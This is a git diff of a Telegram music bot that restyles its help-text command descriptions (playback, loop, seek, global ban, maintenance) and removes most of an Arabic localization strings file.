+/channelplay [ᴄʜᴀᴛ ᴜsᴇʀɴᴀᴍᴇ ᴏʀ ɪᴅ] ᴏʀ [ᴅɪsᴀʙʟᴇ] : ᴄᴏɴɴᴇᴄᴛ ᴄʜᴀɴɴᴇʟ ᴛᴏ ᴀ ɢʀᴏᴜᴩ ᴀɴᴅ sᴛᴀʀᴛs sᴛʀᴇᴀᴍɪɴɢ ᴛʀᴀᴄᴋs ʙʏ ᴛʜᴇ ʜᴇʟᴩ ᴏғ ᴄᴏᴍᴍᴀɴᴅs sᴇɴᴛ ɪɴ ɢʀᴏᴜᴩ.
+"""
-🔗 **Options in Settings:**
+HELP_7 = """
+ɢʟᴏʙᴀʟ ʙᴀɴ ғᴇᴀᴛᴜʀᴇ [ᴏɴʟʏ ғᴏʀ sᴜᴅᴏᴇʀs] :
-1️⃣ You can set **Audio Quality** you want to stream on voice chat.
+/gban [ᴜsᴇʀɴᴀᴍᴇ ᴏʀ ʀᴇᴩʟʏ ᴛᴏ ᴀ ᴜsᴇʀ] : ɢʟᴏʙᴀʟʟʏ ʙᴀɴs ᴛʜᴇ ᴄʜᴜᴛɪʏᴀ ғʀᴏᴍ ᴀʟʟ ᴛʜᴇ sᴇʀᴠᴇᴅ ᴄʜᴀᴛs ᴀɴᴅ ʙʟᴀᴄᴋʟɪsᴛ ʜɪᴍ ғʀᴏᴍ ᴜsɪɴɢ ᴛʜᴇ ʙᴏᴛ.
+/ungban [ᴜsᴇʀɴᴀᴍᴇ ᴏʀ ʀᴇᴩʟʏ ᴛᴏ ᴀ ᴜsᴇʀ] : ɢʟᴏʙᴀʟʟʏ ᴜɴʙᴀɴs ᴛʜᴇ ɢʟᴏʙᴀʟʟʏ ʙᴀɴɴᴇᴅ ᴜsᴇʀ.
+/gbannedusers : sʜᴏᴡs ᴛʜᴇ ʟɪsᴛ ᴏғ ɢʟᴏʙᴀʟʟʏ ʙᴀɴɴᴇᴅ ᴜsᴇʀs.
+"""
-2️⃣ You can set **Video Quality** you want to stream on voice chat.
+HELP_8 = """
+ʟᴏᴏᴘ sᴛʀᴇᴀᴍ :
-3️⃣ **Auth Users**:- You can change admin commands mode from here to everyone or admins only. If everyone, anyone present in you group will be able to use admin commands(like /skip, /stop etc)
+sᴛᴀʀᴛs sᴛʀᴇᴀᴍɪɴɢ ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ ɪɴ ʟᴏᴏᴘ
-4️⃣ **Clean Mode:** When enabled deletes the bot's messages after 5 mins from your group to make sure your chat remains clean and good.
+/loop [enable/disable] : ᴇɴᴀʙʟᴇs/ᴅɪsᴀʙʟᴇs ʟᴏᴏᴘ ғᴏʀ ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ
+/loop [1, 2, 3, ...] : ᴇɴᴀʙʟᴇs ᴛʜᴇ ʟᴏᴏᴘ ғᴏʀ ᴛʜᴇ ɢɪᴠᴇɴ ᴠᴀʟᴜᴇ.
+"""
-5️⃣ **Command Clean** : When activated, Bot will delete its executed commands (/play, /pause, /shuffle, /stop etc) immediately.
+HELP_9 = """
+ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ ᴍᴏᴅᴇ [ᴏɴʟʏ ғᴏʀ sᴜᴅᴏᴇʀs] :
-6️⃣ **Play Settings:**
+/logs : ɢᴇᴛ ʟᴏɢs ᴏғ ᴛʜᴇ ʙᴏᴛ.
-/playmode - Get a complete play settings panel with buttons where you can set your group's play settings.
+/logger [ᴇɴᴀʙʟᴇ/ᴅɪsᴀʙʟᴇ] : ʙᴏᴛ ᴡɪʟʟ sᴛᴀʀᴛ ʟᴏɢɢɪɴɢ ᴛʜᴇ ᴀᴄᴛɪᴠɪᴛɪᴇs ʜᴀᴩᴩᴇɴ ᴏɴ ʙᴏᴛ.
-Options in playmode:
+/maintenance [ᴇɴᴀʙʟᴇ/ᴅɪsᴀʙʟᴇ] : ᴇɴᴀʙʟᴇ ᴏʀ ᴅɪsᴀʙʟᴇ ᴛʜᴇ ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ ᴍᴏᴅᴇ ᴏғ ʏᴏᴜʀ ʙᴏᴛ.
+"""
-1️⃣ **Search Mode** [Direct or Inline] - Changes your search mode while you give /play mode.
+HELP_10 = """
+ᴘɪɴɢ & sᴛᴀᴛs :
-2️⃣ **Admin Commands** [Everyone or Admins] - If everyone, anyone present in you group will be able to use admin commands(like /skip, /stop etc)
+/start : sᴛᴀʀᴛs ᴛʜᴇ ᴍᴜsɪᴄ ʙᴏᴛ.
+/help : ɢᴇᴛ ʜᴇʟᴩ ᴍᴇɴᴜ ᴡɪᴛʜ ᴇxᴩʟᴀɴᴀᴛɪᴏɴ ᴏғ ᴄᴏᴍᴍᴀɴᴅs.
-3️⃣ **Play Type** [Everyone or Admins] - If admins, only admins present in group can play music on voice chat."""
+/ping : sʜᴏᴡs ᴛʜᴇ ᴩɪɴɢ ᴀɴᴅ sʏsᴛᴇᴍ sᴛᴀᴛs ᴏғ ᴛʜᴇ ʙᴏᴛ.
-HELP_5 = """🔰**ADD & REMOVE SUDO USERS :**
-/addsudo [Username or Reply to a user]
-/delsudo [Username or Reply to a user]
+/stats : sʜᴏᴡs ᴛʜᴇ ᴏᴠᴇʀᴀʟʟ sᴛᴀᴛs ᴏғ ᴛʜᴇ ʙᴏᴛ.
+"""
-🛃**HEROKU:**
-/usage - Dyno Usage.
+HELP_11 = """
+ᴩʟᴀʏ ᴄᴏᴍᴍᴀɴᴅs :
-🌐**CONFIG VARS:**
-/get_var - Get a config var from Heroku or .env.
-/del_var - Delete any var on Heroku or .env.
-/set_var [Var Name] [Value] - Set a Var or Update a Var on heroku or .env. Seperate Var and its Value with a space.
+v : sᴛᴀɴᴅs ғᴏʀ ᴠɪᴅᴇᴏ ᴩʟᴀʏ.
+force : sᴛᴀɴᴅs ғᴏʀ ғᴏʀᴄᴇ ᴩʟᴀʏ.
-🤖**BOT COMMANDS:**
-/reboot - Reboot your Bot.
-/update - Update Bot.
-/speedtest - Check server speeds
-/maintenance [enable / disable]
-/logger [enable / disable] - Bot logs the searched queries in logger group.
-/get_log [Number of Lines] - Get log of your bot from heroku or vps. Works for both.
-/autoend [enable|disable] - Enable Auto stream end after 3 mins if no one is listening.
+/play ᴏʀ /vplay : sᴛᴀʀᴛs sᴛʀᴇᴀᴍɪɴɢ ᴛʜᴇ ʀᴇǫᴜᴇsᴛᴇᴅ ᴛʀᴀᴄᴋ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ.
-📈**STATS COMMANDS:**
-/activevoice - Check active voice chats on bot.
-/activevideo - Check active video calls on bot.
-/stats - Check Bots Stats
+/playforce ᴏʀ /vplayforce : sᴛᴏᴩs ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ ᴀɴᴅ sᴛᴀʀᴛs sᴛʀᴇᴀᴍɪɴɢ ᴛʜᴇ ʀᴇǫᴜᴇsᴛᴇᴅ ᴛʀᴀᴄᴋ.
+"""
-⚠️**BLACKLIST CHAT FUNCTION:**
-/blacklistchat [CHAT_ID] - Blacklist any chat from using Music Bot
-/whitelistchat [CHAT_ID] - Whitelist any blacklisted chat from using Music Bot
-/blacklistedchat - Check all blacklisted chats.
+HELP_12 = """
+sʜᴜғғʟᴇ ᴏ̨ᴜᴇᴜᴇ :
-👤**BLOCKED FUNCTION:**
-/block [Username or Reply to a user] - Prevents a user from using bot commands.
-/unblock [Username or Reply to a user] - Remove a user from Bot's Blocked List.
-/blockedusers - Check blocked Users Lists
+/shuffle : sʜᴜғғʟᴇ's ᴛʜᴇ ᴏ̨ᴜᴇᴜᴇ.
+/queue : sʜᴏᴡs ᴛʜᴇ sʜᴜғғʟᴇᴅ ᴏ̨ᴜᴇᴜᴇ.
+"""
-👤**GBAN FUNCTION:**
-/gban [Username or Reply to a user] - Gban a user from bot's served chat and stop him from using your bot.
-/ungban [Username or Reply to a user] - Remove a user from Bot's gbanned List and allow him for using your bot
-/gbannedusers - Check Gbanned Users Lists
+HELP_13 = """
+sᴇᴇᴋ sᴛʀᴇᴀᴍ :
-🎥**VIDEOCALLS FUNCTION:**
-/set_video_limit [Number of Chats] - Set a maximum Number of Chats allowed for Video Calls at a time. Default to 3 chats.
-/videomode [download|m3u8] - If download mode is enabled, Bot will download videos instead of playing them in M3u8 form. ByDefault to M3u8. You can use download mode when any query doesnt plays in m3u8 mode.
+/seek [ᴅᴜʀᴀᴛɪᴏɴ ɪɴ sᴇᴄᴏɴᴅs] : sᴇᴇᴋ ᴛʜᴇ sᴛʀᴇᴀᴍ ᴛᴏ ᴛʜᴇ ɢɪᴠᴇɴ ᴅᴜʀᴀᴛɪᴏɴ.
+/seekback [ᴅᴜʀᴀᴛɪᴏɴ ɪɴ sᴇᴄᴏɴᴅs] : ʙᴀᴄᴋᴡᴀʀᴅ sᴇᴇᴋ ᴛʜᴇ sᴛʀᴇᴀᴍ ᴛᴏ ᴛʜᴇ ᴛʜᴇ ɢɪᴠᴇɴ ᴅᴜʀᴀᴛɪᴏɴ.
+"""
-⚡️**PRIVATE BOT FUNCTION:**
-/authorize [CHAT_ID] - Allow a chat for using your bot.
-/unauthorize [CHAT_ID] - Disallow a chat from using your bot.
-/authorized - Check all allowed chats of your bot.
+HELP_14 = """
+sᴏɴɢ ᴅᴏᴡɴʟᴏᴀᴅ
-🌐**BROADCAST FUNCTION:**
-/broadcast [Message or Reply to a Message] - Broadcast any message to Bot's Served Chats.
+/song [sᴏɴɢ ɴᴀᴍᴇ/ʏᴛ ᴜʀʟ] : ᴅᴏᴡɴʟᴏᴀᴅ ᴀɴʏ ᴛʀᴀᴄᴋ ғʀᴏᴍ ʏᴏᴜᴛᴜʙᴇ ɪɴ ᴍᴘ3 ᴏʀ ᴍᴘ4 ғᴏʀᴍᴀᴛs.
+"""
-options for broadcast:
-**-pin** : This will pin your message
-**-pinloud** : This will pin your message with loud notification
-**-user** : This will broadcast your message to the users who have started your bot.
-**-assistant** : This will broadcast your message from assistant account of your bot.
-**-nobot** : This will force your bot to not broadcast message
+HELP_15 = """
+sᴘᴇᴇᴅ ᴄᴏᴍᴍᴀɴᴅs :
-**Example:** `/broadcast -user -assistant -pin Hello Testing`
+ʏᴏᴜ ᴄᴀɴ ᴄᴏɴᴛʀᴏʟ ᴛʜᴇ ᴘʟᴀʏʙᴀᴄᴋ sᴘᴇᴇᴅ ᴏғ ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ. [ᴀᴅᴍɪɴs ᴏɴʟʏ]
-"""
+/speed or /playback : ғᴏʀ ᴀᴅᴊᴜsᴛɪɴɢ ᴛʜᴇ ᴀᴜᴅɪᴏ ᴘʟᴀʏʙᴀᴄᴋ sᴘᴇᴇᴅ ɪɴ ɢʀᴏᴜᴘ.
+/cspeed or /cplayback : ғᴏʀ ᴀᴅᴊᴜsᴛɪɴɢ ᴛʜᴇ ᴀᴜᴅɪᴏ ᴘʟᴀʏʙᴀᴄᴋ sᴘᴇᴇᴅ ɪɴ ᴄʜᴀɴɴᴇʟ.
+"""
\ No newline at end of file
diff --git a/strings/langs/ar.yml b/strings/langs/ar.yml
index 9eba896..9571535 100644
--- a/strings/langs/ar.yml
+++ b/strings/langs/ar.yml
@@ -1,473 +1,320 @@
-name : 🇦🇪 Arabic
-
-# General Strings
-general_1 : "يرجى الرد على المستخدم أو كتابه اليوزر ."
-general_2 : "حجي الامر مكتوب غلط."
-general_3 : "بعض ** حدث خطأ ** أثناء معالجة طلبك .\n\nنوع الخطأ:- {0}"
-general_4 : "حب انت ادمن مجهول بهذه الاكروب !\n ارجع للحساب من حقوق االادمن."
-general_5 : "اغاتي لازم تكون ادمن بصلاحية المكالمات يلا تتشتغل ."
-general_6 : "لا يوجد اتصال جاري ..."
-
-# Classes - Telegram.py
-tg_1 : "** تم تحميل البوت ** الكثير ** من التنزيلات في الوقت الحالي.\n\n** حاول بعد ذلك: ** {0} (__expected time__)"
-tg_2 : "فشل التنزيل اغاتي "
-
-# Core - Call.py
-call_1 : "البوت يطلب أذن من **الادمن**حتى يضيف المساعد ."
-call_2 : "المساعد محظور لازم تلغي الحظر .\n\n **اسم المساعد:** @{0}\n **معرف المساعد:** {1}"
-call_3 : "حدث خطأ أثناء دعوة حساب المساعد إلى الدردشة.\n\n**سبب**: {0}"
-call_4 : "يتطلب البوت ** دعوة المستخدمين عبر الرابط ** إذن لدعوة حساب المساعد إلى مجموعة الخاصة بك."
-call_5 : "المساعد حيجي بعد خمس ثواني انتضره ورده !"
-call_6 : "حساب المساعد [{0}] تم الانضمام بنجاح.\n\nبدء تشغيل الموسيقى الآن"
-call_7 : "**حق إداري ضار مُعطى **\n\n الرجاء مسح صلاحية **حظر المستخدمين** من البوت."
-call_8 : "**حق إداري ضار مُعطى **\n\n الرجاء مسح صلاحية **اضافه مشرفين جدد ** من البوت."
-call_9 : "**فشل تبديل الاغنية ** \n الرجاء استخدام /skip لتغيير المسار مرة أخرى. "
-call_10 : "تنزيل المسار التالي من قائمة التشغيل"
-call_11 : "الرجاء إضافة @ {0} إلى قناتك [المعرف: {1}].\n\n يتعذر على البوت الحصول على تفاصيل القناة."
-
-# PLUGINS - Auth.py
-auth_1 : "يمكن أن يكون لديك 20 مستخدمًا فقط في قائمة المستخدمين المعتمدين (AUL) لمجموعتك"
-auth_2 : "تمت الإضافة إلى قائمة المستخدمين المعتمدين لمجموعتك."
-auth_3 : "بالفعل في قائمة المستخدمين المعتمدين."
-auth_4 : "تمت إزالته من قائمة المستخدمين المعتمدين لهذه المجموعة."
-auth_5 : "المستخدم المستهدف ليس مستخدمًا مصرحًا له."
-auth_6 : "إحضار المستخدمين المصرح لهم ... الرجاء الانتظار"
-auth_7 : "**قائمة المستخدمين المعتمدين [AUL]:**\n\n"
-auth_8 : "┗ أضيفت من قبل:-"
-
-# PLUGINS - Admins
-admin_1 : "الموسيقى موقفة بالفعل."
-admin_2 : "🎧تم ايقاف تشغيل الموسيقى من قِبل {}!"
-admin_3 : "لتصير لوتي لعد اني شمسوي غير مستئنف."
-admin_4 : "🎧 تم اسئناف الموسيقى بواسطة {}!"
-admin_5 : "لكك أرنب هي اصلا مكتومه 🤐."
-admin_6 : "🎧 تم كتم الصوت بواسطة {}!"
-admin_7 : "تمت إعادة صوت الموسيقى بالفعل."
-admin_8 : "🎧 يلا عاد اذا جنت مدوخكم شعدكم مشغليني🤨 \n\n تم ارجاع الصوت بواسطة {}!"
-admin_9 : "🎧 المحادثة الصوتية انتهت بواسطة {}!"
-admin_10 : "🎧 تخطيت الاغنية بواسطة {}!. لا توجد اغاني اخرى في الانتظار."
-admin_11 : "حدث خطأ في تغيير الاغنية الى **{0}**\n\nالرجاء استخدام /skip مجددًا."
-admin_12 : "تعذر التخطي إلى مسار معين بسبب تشغيل الحلقة . الرجاء تعطيل حلقة اللعب عبر `/loop تعطيل` لاستخدام هذه الميزة."
-admin_13 : "الرجاء استخدام أرقام رقمية لمسارات محددة ، مثل 1 أو 2 أو 4 وما إلى ذلك"
-admin_14 : "يجب توفر اغنيتين على الاقل في قائمه التشغيل للتخطي المحدد ، تحقق من القائمه /queue"
-admin_15 : "لا توجد مسارات كافية في قائمة الانتظار للقيمة التي قدمتها. الرجاء اختيار الأرقام بين 1 و {0}"
-admin_16 : "فشل التخطي إلى مسار معين.\n\n تحقق من قائمة الانتظار اليسرى بحلول /queue"
-admin_17 : "{0}.. انتظر قليلًا"
-admin_18 : "لم أجد قائمه الادمنية\n\n يرجى استخدام الامر /admincache أو /reload"
-admin_19 : "يجب ان تكون مشرف مع صلاحية المكالمات لتقوم بهذه المهمة .\nاذا انت مشرف بالفعل, ترسيت قائمه الادمنية /admincache "
-admin_20 : "تم ترسيت قائمة الادمنية."
-admin_21 : "لا يوجد شيء في قائمه الانتظار "
-admin_22 : "فشل التبديل العشوائي. \n\n تحقق من قائمة الانتظار: /queue"
-admin_23 : "** تم ترتيب قائمة الانتظار عشوائيًا حسب {0} ** \n\n تحقق من ترتيب قائمة الانتظار : /queue"
-admin_24 : "**إستعمال:**\n/loop [تمكين / تعطيل] أو [رقم بين 1-10] \n\n** مثال: ** /loop 5"
-admin_25 : "العجلة فُعلت من {0} الى **{1}** مرات . البوت سيقوم باعادة تشغيل الموسيقى المختارة **{1}** مرة "
-admin_26 : "الرجاء اختيار رقم بين 1-10 لتفعيل مود الحلقة "
-admin_27 : "تم تعطيل مود الحلقة"
-admin_28 : "**إستعمال:**\n/seek or /seekback [المدة بالثواني]"
-admin_29 : "الرجاء استخدام عدد الثواني المدة مثل 10-20-30 ثانية للتلاعب"
-admin_30 : "آسف ولكن لا يمكنك البحث عن البث الجاري تشغيله. يمكن فقط تخطيها أو إيقافها."
-admin_31 : "البوت غير قادر على التغيير بسبب المدة الطويلة المعطاة. تحتاج إلى التغيير عن مدة أقل وتذكر أنه يتبقى وقت قدره 10 ثوانٍ بعد التلاعب .\n\n يتم التشغيل حاليًا ** {0} ** دقيقة من ** {1} ** دقيقة"
-admin_32 : "الرجاء الانتظار ... يتم الامر ."
-admin_33 : "تم التلاعب في البث و وصل إلى {0} دقيقة"
-admin_34 : "فشل الامر !."
-
-# Bot
-
-# Start
-start_1 : "ها يـ؏ـُمريـہ هياتني يم الفخمين 😔🖤{0}.\n\n {1} يعمل الان ✨ .\n\n تعرف على ما يمكنني فعله من خلال الضغط على زر **الاوامر** في الاسفل أو إضبط اعدادات البوت في مجموعتك من خلال زر **الاعدادات** 🫂♥️."
-start_2 : "** أهلا عزيزي انا بوت اسمي {0}**.\n\nوظيفتي هي تشغيل الاغاني ومقاطع الفيديو في المكالمات بصلاحيات متطورة ويمكنك التحكم بشكل كامل على البوت من خلال الاوامر والشرح المبسط 🫂🌚."
-start_3 : "مرحبا بـ {0}\n\n لا احتاج أي **اذونات مشرفين ** للعمل ( حتى أطلب منك ذلك ).\n\n يوزر المساعد :- @{1}\nايدي المساعد:- {2}"
-start_4 : "انضم مالك {0} [{1}] للتو إلى محادثتك."
-start_5 : "انضم عضو من {0} المطورين [{1}] للتو إلى محادثتك."
-start_6 : "❗️ **احتاج ان تكون المجموعة خارقة** ❗️\n\nالرجاء تحويل **مجموعتك** الى **مجموعة خارقة** ثم أضفني مجددا هنا .\n\n **كيف أحول المجموعة خارقة ؟ ?**\n✅ اجعل سجل المحادثات **ظاهر ** اولا."
-start_7 : "**مجموعة محظورة **\n\n مجموعتك محظورة من قبل المطورين . الرجاء مراسلة احد المطورين لفك الحظر عنك . تحقق من [Sudolist من هنا]({0})"
-
-# Help
-help_1 : "**انقر على الأزرار أدناه لمزيد من المعلومات.**\n\nإذا كنت تواجه أي مشكلة في الأمر ، يمكنك الاتصال بمالك البوت أو طلب الدعم من المطورين .\n\nكل الاوامر تستخدم مع الامر : /"
-help_2 : "تواصل معي مساءا للمساعدة ."
-
-# Settings
-setting_1 : "⚙️ **اعدادات بوت الميوزك **\n\n🖇**المجموعة:** {0}\n🔖**ايدي المجموعة:** `{1}`\n\n💡**تحكم بالازرار أدناه للتحكم باعدادات البوت .**"
-setting_3 : "⁉️ ما هذا \n\n1) مباشر: عند تفعيلها سيتم الشغيل مباشرة بأحد الاوامر فيديو او صوت .\n\n2) ازرار: عند تشغيلها سيتم ظهور الازرار عن اعطاء أمر التشغيل إن كنت تريد فيديو أم صوت ."
-setting_4 : "⁉️ ما هذا \n\n👥 الجميع: جميع الاعضاء يستطيعون استخدام اوامر الادمن (skip, pause, resume etc) في هذه المجموعة.\n\n🙍 الادمنية فقط: الادمنية فقط و الحسابات الموثوق بها يستطيعون استخدام اوامر الادمن ."
-setting_5 : "لم أجد حسابات موثوقه\n\nيمكنك رفع اي عضو ليستطيع استخدام اوامر الادمن من خلال /auth وازالته باستخدام /unauth"
-setting_9 : "⁉️ما هذا ?\n\nعند تفعيله سيقوم البوت بحذف الرسائل اللتي رسلها بعد {0} للتأكد من بقاء مجموعتك نظيفة ."
-setting_10 : "⁉️ ما هذا ?\n\n1) المجموعة: تقوم بتشغيل الموسيقى في المجموعة حيث يتم إعطاء الأمر. \n\n2) القناة: تقوم بتشغيل الموسيقى في القناة التي تريدها. تعيين معرف القناة عبر /channelplay"
-setting_11 : "⁉️ ما هذا؟ \n\n1) الجميع: يمكن لأي شخص موجود في هذه المجموعة تشغيل الموسيقى هنا. \n\n2) المسؤول فقط: يمكن للمسؤولين فقط تشغيل الموسيقى في هذه المجموعة."
-setting_12 : "❌ ليس لديك معرف قناة محدد لوضع القناة. يرجى تحديد مع /channelplay."
-setting_13 : "لا استطيع تغيير وضع التشغيل والمكالمه مُشغلة ، الرجاء الايقاف من خلال /stop."
-setting_14 : "⁉️ ما هذا ?\n\nعند تفعيله سيقوم البوت بحذف الاوامر (/play, /pause, /shuffle, /stop الخ..) مباشرة .\n\nالبوت سيحذف رسالة الادمن عند تنفيذ الامر مباشرة ."
-setting_15 : "فشل في حل النظير, فشل في المهمة ، تأكد من أنك أضفت البوت في قناتك وقمت بترقيته كمسؤول.\n\nحاول اضبط /channelplay مجددا.."
-setting_16 : "⁉️ ما هذا ?\n\n عند تفعيلها سيقوم البوت بارسال كل 1-2 ساعة الاوامر للتعليم (كيفية استخدامها, وأي الخيارات افضل والكثير من الامور ) عشوائيا."
-
-
-set_cb_1 : "دقيقة ؏ُـمريـہ ..."
-set_cb_2 : "ثواني گلبـي هسة ادز..."
-set_cb_3 : "خادمك يروحي هسة ..."
-set_cb_4 : "تدلل פـياتيـہ دقيقة ..."
-set_cb_5 : "وتأمرني أمر آغاتي لحظة بس ..."
-set_cb_6 : "يتم الأمر."
-set_cb_7 : "هسة اجيبلك راسهم حياتي خادمك اني ."
-set_cb_8 : "تتم الاعادة.."
-
-# Misc
-ustats_1 : "لم أجد أي مستخدم ."
-ustats_2 : "تهانينا !, لقد شغلّت **{0}** اغنية من أصل **{1}** مرة.\n\nتوب {2} حتى الآن :\n\n"
-
-gstats_1 : "تحميل الاحصائيات العالمية ... ربما سيأخذ وقتًا ..."
-gstats_2 : "لم أجد شيء ."
-gstats_3 : "جلب احصائيات التوب 10 {0} للبوت, ربما سيأخذ وقتًا.."
-gstats_4 : "** إجمالي الطلبات للبوت: ** {0} \n\n {1} تم تشغيل ** {2} ** مقاطع صوتية حتى الآن بعدد هائل من ** {3} ** مرة. \n\n * * أهم {4} المسارات: ** \n"
-gstats_5 : "**توب {0} مجموعات من {1}:**\n\n"
-gstats_6 : "**توب {0} مستخدمين من {1}:**\n\n"
-gstats_7 : "هذه المجموعة قد شغلّت **{0}** اغنية حتى الان من أصل **{1}** مرة . \n\n توب {2} من قام بالتشغيل في هذه المجموعة:\n\n"
-gstats_8 : "يتم جلب معلومات البوت ..."
-gstats_9 : "**توب 10 للسيرفر ** \n\n اختر من الاسفل لمعرفة التوب 10 للسيرفر كامل ."
-gstats_10 : "***توب 10 للسيرفر of {0}**\n\nاختر من الاسفل لمعرفة التوب 10 للسيرفر كامل."
-gstats_11 : "**التوب العالمي من {0}** \n اختر من الاسفل لمعرفة التوب 10 للسيرفر كامل. \n\n لـ تفحص أفضل الاغاني, المجموعات, المستخدمين وبعض الاغراض الاخرى, استخدم /gstats"
-
-
-# Play
-
-#Play Callback
-playcb_1 : "امشي لكك هاي مو الك! ابحث عن اغنيتك الخاصه."
-playcb_2 : "جلب المسار التالي"
-
-# Channel Play
-cplay_1 : "يمكنك تشغيل الموسيقى في قناتك من خلال هذه المحادثة [{0}] لأي قناة . \n\n**لربط قناتك :**\n`/{1} [ايدي القناة]`"
-cplay_2 : "هذه المحادثة غير مربوطة بأي قناة."
-cplay_3 : "القناة غيرت إلى {0}\n\n__معرف القناة__: {1}"
-cplay_4 : "فشل في الوصول للقناة.\n\nتاكد من اضافه البوت للقناة ورفعه مشرف بها .\nثم ارسل /channelplay"
-cplay_5 : "يتم دعم القنوات فقط."
-cplay_6 : "يجب ان تكون أنت **المالك** للقناة [{0}] لربط هذا الكروب .\n**مالك القناة:** @{1}\n\nبدلاً من ذلك ، يمكنك ربط مجموعتك بتلك القناة ثم محاولة الاتصال بها `/channelplay مرتبط`"
-
-#Play
-play_1 : "🔄 يتم التقدم... الرجاء الانتظار !"
-play_2 : "**🏷وضع التشغيل في القناة**\n\n🔄 يتم الآن ... الرجاء الانتظار !\n**قناة مرتبطة:** {0}"
-play_3 : "فشلت في الوصول!"
-play_4 : "🖇 **أرنب انت مو أدمن **\nبس الادمنية والحسابات الموثوقه يكدرون يشغلون الاغاني هنا .\n\nتكدر تخلي الكل يشغل من خلال /playmode واذا جنت انت اصلا ادمن ارجع دز /admincache"
-play_5 : "فشلت في الوصول للاغنية .\n\nلتفحطني لازم حجم الاغنية اقل من 100 mb"
-play_6 : "**تم تجاوز حد المدة**\n\n**المدة المسموح بها: **{0} minute(s)\n**المدة المستلمة:** {1} hour(s)"
-play_7 : " عذرا لقد وصلت للحد الاقصى في التشغيل . الكثير من المكالمات مفعلة الان. جرب تشغيل الصوتيات أو عد لاحقاً 🥲"
-play_8 : "الفديو غير مدعوم !\n\n**غير مدعوم :** {0}"
-play_9 : "بوية فحطتني سيد هواي تنزل .. الحد الاقصى للفيديو هو 1 GiB"
-play_10 : "**ميزة قائمة تشغيل يوتيوب**\n\nحدد الوضع الذي تريد تشغيل قائمة تشغيل Youtube بالكامل فيه"
-play_11 : "📎العنوان: **{0}\n\n⏳المدة:** {1} Mins"
-play_12 : "**وضع Spotify Play ** \n\n تم طلبه بواسطة:- {0}"
-play_13 : "**قوائم تشغيل Apple ** \n\n تم طلبه بواسطة:- {0}"
-play_14 : "**تعذر التحقق من عنوان URL. ** \n لا تتساءل عما إذا كان عنوان url هذا ينتمي إلى أي من الأنظمة الأساسية التالية: Youtube و AppleMusic و Spotify و Resso و Soundcloud. \n\n يمكنك استخدام /stream لـ M3u8 أو الروابط البعيدة."
-play_15 : "**تم اكتشاف البث المباشر ** \n\n اكتشفت الأنظمة ارتباط المسار الخاص بك على أنه بث مباشر. تريد أن تلعب البث المباشر ?"
-play_16 : "فشلت بإحضار معلومات الفيديو. جرب تشغيل أي اغنية اخرى."
-play_17 : "غير قادر على تشغيل هذا النوع من استعلام سبوتيفي!\n\nيمكنني فقط تشغيل مسارات Spotify والألبومات والفنانين وقوائم التشغيل "
-play_18 : "**لا توجد مكالمه في المجموعة**\n\nلاستخدام اللعب بالقوة ، يجب أن تكون هناك محادثة صوتية نشطة جارية في مجموعتك. ** Force Play ** يوقف مسار التشغيل في الدردشة الصوتية ويبدأ تشغيل المسار الذي تم البحث عنه على الفور دون إزعاج/clearing طابور."
-
-
-#Playlist
-playlist_1 : "**الاستخدام:** /play [اسم الموسيقى أو رابط يوتيوب أو الرد على الصوت]\n\nإذا كنت تريد تشغيل قائمة تشغيلك في السيرفر ! اضغط على الزر أدناه."
-playlist_2 : "الحصول على قائمة التشغيل الخاصة بك. أرجو الإنتظار"
-playlist_3 : "ليس لديك قائمة تشغيل على خادم البوت."
-playlist_4 : "قائمة التشغيل التي تم جلبها: \n\n"
-playlist_5 : "المدة- {0} دقيقة"
-playlist_6 : "تواصل معي في محادثة خاصة لحذف قوائم التشغيل."
-playlist_7 : "المسارات داخل قائمة التشغيل: {0}\n\nاضغط على الأزرار لحذف مسار معين في قائمة التشغيل الخاصة بك.\n\nلحذف قائمة التشغيل بأكملها: اضغط على زر **مسح كل قائمة التشغيل **."
-playlist_8 : "موجود بالفعل\n\nهذا المسار موجود في قائمة التشغيل الخاصة بك."
-playlist_9 : "آسف! يمكن أن يكون لديك {0} موسيقى فقط في قائمة التشغيل."
-playlist_10 : "إضافة قائمة التشغيل\n\n {0} \n مضافة إلى قائمة التشغيل الخاصة بك."
-playlist_11 : "تم حذف مسارك بنجاح."
-playlist_12 : "فشل حذف المسار الخاص بك."
-playlist_13 : "حذف كل قوائم التشغيل الخاصة بك من الخادم. "
-playlist_14 : "**هل تريد بالتأكيد حذف قائمة التشغيل بأكملها؟ **\n\nستفقد قائمة التشغيل الخاصة بك ولا يمكن استردادها لاحقًا."
-playlist_15 : "[مشاهدة قائمة التشغيل بأكملها]({0})"
-playlist_16 : "قائمة التشغيل في قائمة الانتظار:"
-playlist_17 : "موقف في قائمة الانتظار-"
-playlist_18 : "[مشاهدة قائمة تشغيلك بأكملها]({0}) \n\n آخر موضع في قائمة التشغيل : **{1}**"
-
-#Playmode
-playmode_1 : "حدد الوضع الذي تريد تشغيل الطلبات فيه داخل مجموعتك [{0}]."
-playmode_2 : "تم تغيير الإعدادات وحفظها بنجاح بواسطة {0}"
-
-#Stream
-str_1 : "يرجى توفير روابط M3u8 أو روابط الفهرس"
-str_2 : "✅تم التحقق من دفق صالح \n\n الرجاء انتظار ارتباط المعالجة.."
-str_3 : "غير قادر على دفق يوتيوب البث المباشر. لم يتم العثور على تنسيق مباشر"
-
-#TopPlay
-tracks_1 : "** جارٍ معالجة {0} أفضل 10 قوائم تشغيل **\n قد يستغرق ذلك بعض الدقائق (حوالي 3-4 دقائق) .. يُرجى الانتظار ... \n\n ** 👤 تم طلبه بواسطة: ** {1} \n\n تحقق أفضل 10 مسارات/gstats"
-tracks_2 : "** خطأ ** \n\nلا توجد ** {0} أفضل 10 قائمة تشغيل ** على خوادم الروبوت. يرجى محاولة أي قائمة تشغيل أخرى"
-
-# TOOLS
-
-#Lyrics
-lyrics_1 : "**الاستخدام:**\n\n/lyrics [ اسم الاغنية ]"
-lyrics_2 : "يتم البحث ..."
-lyrics_3 : "❌ فشلت في الحصول على الكلمات😭.\n\n💡**جرب البحث عن :** {0}"
-lyrics_4 : "اضغط على الزر ادناه للبخث عن الكلمات لتجنب السبام في مجموعتك ."
-
-#Ping
-ping_1 : "يتم الحساب!!!!"
